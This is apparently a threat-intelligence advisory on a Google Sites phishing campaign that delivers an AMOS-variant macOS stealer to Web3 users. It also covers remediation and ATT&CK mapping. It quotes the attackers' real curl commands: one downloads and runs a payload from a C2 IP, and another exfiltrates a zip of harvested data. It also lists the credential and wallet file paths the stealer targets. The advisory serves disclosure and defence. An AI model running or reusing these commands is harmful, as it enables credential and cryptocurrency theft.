Google Sites Phishing Campaign Delivers AMOS-Variant macOS Stealer (unix32385485) to Web3 Users

Google Sites Phishing Campaign Delivers AMOS-Variant macOS (TL-2026-1495), also tracked as BuilDAO Phishing Campaign, is a high-severity malware campaign, first published 2026-07-18. It has no confirmed attribution, affects Apple macOS, maps to 24 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 22 indicators of compromise.

Key facts for TL-2026-1495

Threat ID
TL-2026-1495
Also known as
BuilDAO Phishing Campaign, unix32385485
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-07-18
Last reviewed
2026-07-18
Attribution confidence
LOW
Motivation
FINANCIAL
Target sectors
cryptocurrency, web3, finance, technology, individuals
Target regions
Global
Detection rules
9
Indicators of compromise
22

Malware and tooling in Google Sites Phishing Campaign Delivers AMOS-Variant macOS

Malware and tooling: AMOS, unix32385485

A multi-stage social engineering campaign abuses Google Sites to host a fake 'BuilDAO/Builder' community application page targeting Web3 users, then redirects victims to a spoofed OAuth/macOS security-verification page that tricks them into executing a .scpt file or Base64-encoded Terminal command. The dropped payload, unix32385485, is a macOS Universal Mach-O stealer (x86_64/arm64) behaviorally consistent with AMOS (Atomic macOS Stealer) that exfiltrates browser credentials, Keychain data, Apple Notes, Safari cookies, Telegram Desktop session data, and 17+ named cryptocurrency wallet applications to a hardcoded C2 (86.54.25.213).

How Google Sites Phishing Campaign Delivers AMOS-Variant macOS works

SlowMist identified a targeted phishing campaign against Web3 community members that abuses the inherent trust in Google's `sites.google.com` domain to bypass reputation-based URL filtering. The lure is a fake 'BuilDAO/Builder' community-application form styled to mimic a legitimate Google Forms submission page. After a victim submits the form, the campaign chains them into a spoofed 'OAuth 2.0 security verification' page that displays a fabricated `api_error_401` authentication error, socially engineering the user into believing they must manually 're-verify' their identity by running a script.

The page offers two delivery mechanisms for the same payload: a downloadable Apple `.scpt` (AppleScript) file, or a Base64-encoded one-liner intended to be pasted directly into macOS Terminal (a well-established ClickFix-style delivery pattern increasingly used against macOS users in 2025-2026). Both paths converge on the same shell sequence, which fetches the payload from the C2 host, marks it executable, and detaches it from the parent shell:

``` curl -s http://86.54.25.213/d/unix32385485 > /tmp/unix001 chmod +x /tmp/unix001 /tmp/unix001 > /dev/null 2>&1 & disown ```

The payload `unix32385485` is a macOS Universal Mach-O binary (x86_64 + arm64) that obfuscates 104 string blocks in its `__const` section using XOR plus xorshift32-based keystream generation, hindering static string analysis and naive YARA signature matching. On execution it creates a staging directory at `/tmp/lksopo/` and enumerates system metadata via `sw_vers` and `system_profiler`.

Its collection routine is broad and consistent with the AMOS (Atomic macOS Stealer) family, a macOS-focused Malware-as-a-Service sold on Telegram/underground forums for roughly $3,000/month and responsible for a large share of 2025-2026 macOS stealer detections. The sample harvests: login credentials, cookies, and Local Storage/session data from Chrome, Brave, Microsoft Edge, Vivaldi, Opera, Chromium, Arc, Firefox, and Waterfox; the macOS login Keychain database (`~/Library/Keychains/login.keychain-db`); Safari's binary cookie store (`~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies`); Apple Notes content via AppleScript/`osascript` against the Notes SQLite store (`~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`); and Telegram Desktop session artifacts from `Telegram Desktop/tdata/`, including AES encryption `key_datas` and session-mapping files, enabling full chat-history and account takeover.

Cryptocurrency wallet targeting spans at least 17 named desktop wallet applications: Electrum, Electrum-LTC, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, Ledger Wallet, Monero (GUI/CLI wallet files), Bitcoin Core, Litecoin Core, Dash Core, Electron Cash, Guarda, Dogecoin Core, Trezor Suite, and Sparrow -- reflecting AMOS's broader published capability of targeting 150+ browser-extension wallets and 17 desktop wallets. Given the campaign's explicit Web3/BuilDAO lure, browser-extension wallet Local Storage/LevelDB data (e.g. `atomic/Local Storage/leveldb/`) is a primary objective alongside the desktop wallet directories.

After collection, the malware stages stolen data in `/tmp/lksopo/`, compresses it with `ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip` (preserving macOS resource forks/extended attributes for forensic fidelity to the attacker), and exfiltrates the archive via a single HTTP POST to the same C2 host used for payload delivery, tagged with a `buildid` header (a per-build/campaign identifier: `7ca94f9fa3eb4164ba7e5d41623a458a`) and a `username` header (`night`), allowing the operator to attribute the loot to a specific build or affiliate:

``` curl -X POST -H "buildid: 7ca94f9fa3eb4164ba7e5d41623a458a" -H "username: night" --data-binary @/tmp/lksopo.zip http://86.54.25.213/log ```

The malware then self-cleans with `rm -rf /tmp/lksopo && rm -f /tmp/lksopo.zip`, removing the staging directory and archive to frustrate incident-response artifact recovery, though the dropped binary at `/tmp/unix001` and process/network telemetry remain recoverable via EDR.

The campaign is notable for combining a trusted first-stage hosting platform (Google Sites) with a fabricated OAuth error page as a pretext for social-engineering command execution -- a technique that sidesteps Gatekeeper/notarization controls entirely because the user, not the OS, is the one invoking the payload via Terminal or Script Editor. No CVE applies: this is a social-engineering and malware-delivery threat, not a software vulnerability.

MITRE ATT&CK techniques used in TL-2026-1495

Collection

T1005 Data from Local System; T1074 Data Staged; T1560 Archive Collected Data

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal; T1140 Deobfuscate/Decode Files or Information

Exfiltration

T1041 Exfiltration Over C2 Channel

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution

Command and Control

T1071 Application Layer Protocol; T1105 Ingress Tool Transfer

Discovery

T1082 System Information Discovery; T1083 File and Directory Discovery

Initial Access

T1189 Drive-by Compromise; T1566 Phishing

Credential Access

T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Resource Development

T1583 Acquire Infrastructure; T1585 Establish Accounts; T1587 Develop Capabilities

Reconnaissance

T1589 Gather Victim Identity Information

Impact

T1657 Financial Theft

Affected products and versions in Google Sites Phishing Campaign Delivers AMOS-Variant macOS

  • Apple — macOS
    Vulnerable versions: macOS (Universal Mach-O binary targets x86_64 and arm64, all recent macOS versions)

Remediation for Google Sites Phishing Campaign Delivers AMOS-Variant macOS

Immediate actions

  • Block outbound traffic to 86.54.25.213 (HTTP payload delivery and C2 log endpoint) at perimeter firewall/proxy
  • Hunt for /tmp/unix001, /tmp/lksopo/, and /tmp/lksopo.zip on macOS endpoints
  • Hunt for curl/osascript/ditto process chains invoking 86.54.25.213 or writing to /tmp/lksopo*
  • Search EDR/proxy logs for the HTTP header pair buildid: 7ca94f9fa3eb4164ba7e5d41623a458a and username: night
  • Rotate and re-secure any credentials, browser sessions, Telegram sessions, and crypto wallet keys/seed phrases on any host suspected of running unix32385485

Workarounds

  • Do not paste or execute Terminal commands, or run downloaded .scpt files, from unsolicited 'identity verification' or 'security check' web pages regardless of hosting domain

Longer-term hardening

  • Deploy macOS EDR with behavioral detection for AppleScript/.scpt execution originating from browser-downloaded files and for background-disowned shell payload execution
  • User-awareness training on ClickFix-style 'paste this command into Terminal to verify' social-engineering pretexts, including fake OAuth/CAPTCHA/verification error pages
  • Restrict or monitor execution of .scpt files and osascript invocations via macOS endpoint policy (e.g. Santa, MDM script-execution restrictions)
  • Monitor for lookalike/typosquat Google Sites pages impersonating DAO/Web3 community applications and report to Google Safe Browsing
  • Enforce hardware-wallet-only signing and cold storage for high-value crypto holdings to reduce blast radius of desktop/browser wallet key theft

Timeline of Google Sites Phishing Campaign Delivers AMOS-Variant macOS

  • Cyble reports the original Atomic macOS Stealer (AMOS) first advertised for sale on Telegram by its developer, establishing the Malware-as-a-Service model this unix32385485 sample descends from.
  • SentinelOne documents a second AMOS variant with expanded evasion and collection capability, marking the family's first major post-launch iteration.
  • PCrisk publishes consumer-facing AMOS removal/cleanup guidance, reflecting the stealer's growth into a widely-encountered commodity threat by mid-2024.
  • Darktrace publishes a network-traffic investigation of an AMOS infection, documenting the family's C2 beaconing and exfiltration behavior observed in live customer environments.
  • eSentire reports a fake DeepSeek AI website distributing AMOS to macOS users, showing the operators' pattern of trending-topic lures analogous to this campaign's BuilDAO/Web3 lure.
  • Sophos publishes 'Why AMOS matters,' assessing the family's growth into one of the highest-volume macOS credential-theft threats, underscoring the severity of this unix32385485 variant.
  • Trend Micro's MDR team documents an AMOS campaign distributed via cracked/pirated macOS application installers, an alternate delivery vector to this campaign's Google Sites/ClickFix chain.
  • Trend Micro reports malicious 'OpenClaw' skills used to distribute Atomic macOS Stealer, the most recent pre-campaign AMOS distribution vector documented before the BuilDAO/Google Sites wave analyzed here.
  • Estimated onset of the BuilDAO-themed Google Sites phishing campaign targeting Web3 community members, per SlowMist's collected sample chain.
  • Reverse engineering of unix32385485 reveals a Universal Mach-O binary using XOR/xorshift32 string obfuscation across 104 string blocks and broad browser/wallet/Telegram/Keychain/Notes collection routines consistent with the AMOS family.
  • C2/distribution IP 86.54.25.213, staging paths (/tmp/lksopo/, /tmp/unix001), and exfiltration headers (buildid, username) publicly disclosed as IOCs.
  • SlowMist publishes 'Analysis of a Google Sites Community Application Phishing Campaign and macOS Information-Stealing,' detailing the fake BuilDAO application page, the spoofed OAuth verification pretext, and the unix32385485 stealer payload.
  • AMOS family context cross-referenced against vendor reporting (Sophos, SentinelOne, Trend Micro, Cyble, Darktrace, eSentire) confirming AMOS's continued Malware-as-a-Service distribution via Telegram and its broad, actively-evolving 2025-2026 targeting of macOS credential and crypto-wallet data.
  • Threat ingested and researched by the Threadlinqs Intelligence Platform via automated RSS hunt against the SlowMist source article.

Sources cited for Google Sites Phishing Campaign Delivers AMOS-Variant macOS

Threats related to Google Sites Phishing Campaign Delivers AMOS-Variant macOS

Detection coverage for TL-2026-1495

As of 2026-07-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1495 across Splunk SPL, Microsoft KQL and Sigma, covering 22 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats